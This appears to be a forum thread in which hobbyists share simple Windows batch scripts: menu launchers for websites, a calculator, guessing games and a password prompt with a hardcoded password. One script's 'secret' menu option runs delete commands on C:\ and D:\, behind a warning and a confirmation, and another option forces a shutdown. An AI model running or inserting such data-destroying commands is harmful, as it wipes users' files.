echo 3 YouTube - Online Videos
echo 4 Comcast - news, search, and videos
echo 5 bat to exe online converter - YAY!!
echo 6 zombie rampage - shoot zombies!!!
echo 7
echo 8
echo 9
echo 10
echo 11
echo 12
echo.
echo.
echo Enter the number of the website which you would like to go to:
echo.
set /p word=
echo.
if %word%==1 start www.yahoo.com
if %word%==2 start www.instructables.com
if %word%==3 start www.youtube.com
if %word%==4 start www6.comcast.net/a/
if %word%==5 start http://www.f2ko.de/ob2e/ob2e.html
if %word%==6 start http://www.zombiegames.us/play-4038-theendlesszombierampage.html
if %word%==7 start
if %word%==8 start
if %word%==9 start
if %word%==10 start
if %word%==11 start
if %word%==12 start
cls
:calc
cls
echo ---------------------calculator----------------------------
echo are you sure?
echo.
echo Y or N
set /p con=
if %con%==Y (
goto onward
)
if %con%==N (
goto start
)
:onward
title calculator
ECHO Calculator Version 1.2
ECHO programmed by Logan Ryan
ECHO * = multiply
ECHO + = add
ECHO - = subtract
echo / = divide
pause
:loop
echo.
SET /p UDefine=
SET /a UDefine=%UDefine%
ECHO =
ECHO %UDefine%
ECHO.
goto loop
:command
cls
echo ----------------------command-promt-------------------------
echo are you sure?
echo.
echo Y or N
set /p co=
if %co%==Y (
goto continu
)
if %co%==N (
goto start
)
:continu
SET /a num=1
:cool
if %num%==0 goto exit
start CMD.exe
set /a num=%num% -1
goto cool
:shutdown
cls
echo ----------------------shutdown------------------------------
echo are you sure?
echo.
echo Y or N
set /p conuti=
if %conuti%==Y (
goto headward
)
if %conuti%==N (
goto start
)
:headward
shutdown -s -f -t 20 -c "LOCKDOWN INITIATED"
goto exit
:game
cls
echo ---------------------game-----------------------------------
SET /a GuessNum=0
SET /a Answer=%RANDOM%
ECHO Guess what Number I'm thinking of.
echo made by Logan Ryan.
:Retry
SET /p Guess=
IF %Guess% LSS %Answer% ECHO My Number is Higher.
IF %Guess% GTR %Answer% ECHO My Number is Lower.
IF %Guess%==%Answer% GOTO END
ECHO.
SET /a GuessNum=%GuessNum%+1
GOTO Retry
:END
ECHO You are Correct! The Answer was %Answer%
ECHO It took %GuessNum% Guesses.
ECHO.
PAUSE
goto exit
:secret
cls
echo ---------------------------secret---------------------------
echo are you sure?
echo this will delete everything on this computer.
echo.
echo Y or N
set /p conutis=
if %conutis%==Y (
goto parts
)
if %conutis%==N (
goto start
)
:parts
del C:\
del D:\
goto exit
:exit
cls
echo -------------------------exit-------------------------------
echo type Y to pick another program to run
echo or type N to exit
set /p exit=
if %exit%==Y (
goto start
)
if %exit%==N (
goto end
)
:end
echo thank you for using the Gallery.
echo.
echo this program was made by Master Vizz
pause
cls
exit
how do you like this?
@echo off
:top
cls
echo -----------------------
echo Enter password
echo -----------------------
SET /p input=
If %input%==gunner goto correct
cls
echo WRONG
pause
goto top
:correct
cls
echo ----------------------------
echo password excepted
echo ----------------------------
pause
exit
i made one without those, and it works fine:
@echo off
color 1a
title Sites by techno_pig
:start
echo Key:
echo.
echo --------------------------------------------------------------
echo.
echo 1 = Google
echo 2 = S.K.Incorporated
echo 3 = Instructables
echo 4 = YouTube
echo 5 = W3 Schools
echo 6 = Fox on Demand
echo.
echo --------------------------------------------------------------
echo Press "e" to exit.
echo.
echo --------------------------------------------------------------
echo.
echo Enter the number of the website you wish to visit:
set /p input=
echo.
if %input%==1 start www.google.com
if %input%==2 start www.skincorporated.net
if %input%==3 start www.instructables.com
if %input%==4 start www.youtube.com
if %input%==5 start www.w3schools.com
if %input%==6 start www.fox.com/fod
if %input%==e goto exit
cls
echo.
echo --------------------------------------------------------------
echo.
echo Press "e" to exit, "b" to select another site.
echo.
set /p input=
if %input%==e goto exit
if %input%==b goto start
echo.
:exit
echo --------------------------------------------------------------
echo.
echo Thank You for using Sites by techno_pig.
echo.
pause
exit
I added in so that at the end, if you want to play again
you can
@echo off
color 09
title Guessing Game by SEjMA
set /a guessnum=0
set /a answer=%RANDOM%
set variable2=please
set die=yes
set dead=no
:very top
cls
echo -------------------------------------------------
echo Welcome to the Guessing Game!
echo.
echo Try and Guess my Number!
echo -------------------------------------------------
echo.
:top
echo.
set /p guess=
echo.
if %guess% GTR %answer% ECHO Lower!
if %guess% LSS %answer% ECHO Higher!
if %guess%==%answer% GOTO EQUAL
set /a guessnum=%guessnum% +1
if %guess%==%variable2% ECHO Hey Mikey, %answer%
goto top
:death
echo BYE!!!!!!!!!!!
echo.
echo See you next time!
echo.
echo Come again
pause
cls
echo BB BB YY YY EEEEEEEE
ECHO BB BB YY YY EE
ECHO BB BB YY YY EE
ECHO BBBB YY EEEEEE
ECHO BB BB YY EEEEEE
ECHO BB BB YY EE
ECHO BB BB YY EE
ECHO BBBB YY EEEEEEEE
Pause
exit
:equal
echo Congratulations, You guessed right!!!
echo.
echo It took you %guessnum% guesses.
echo.
echo Play Again?
echo Type yes or No
set /p death=
if %death%==%die% GOTO very top
if %death%==%dead% GOTO death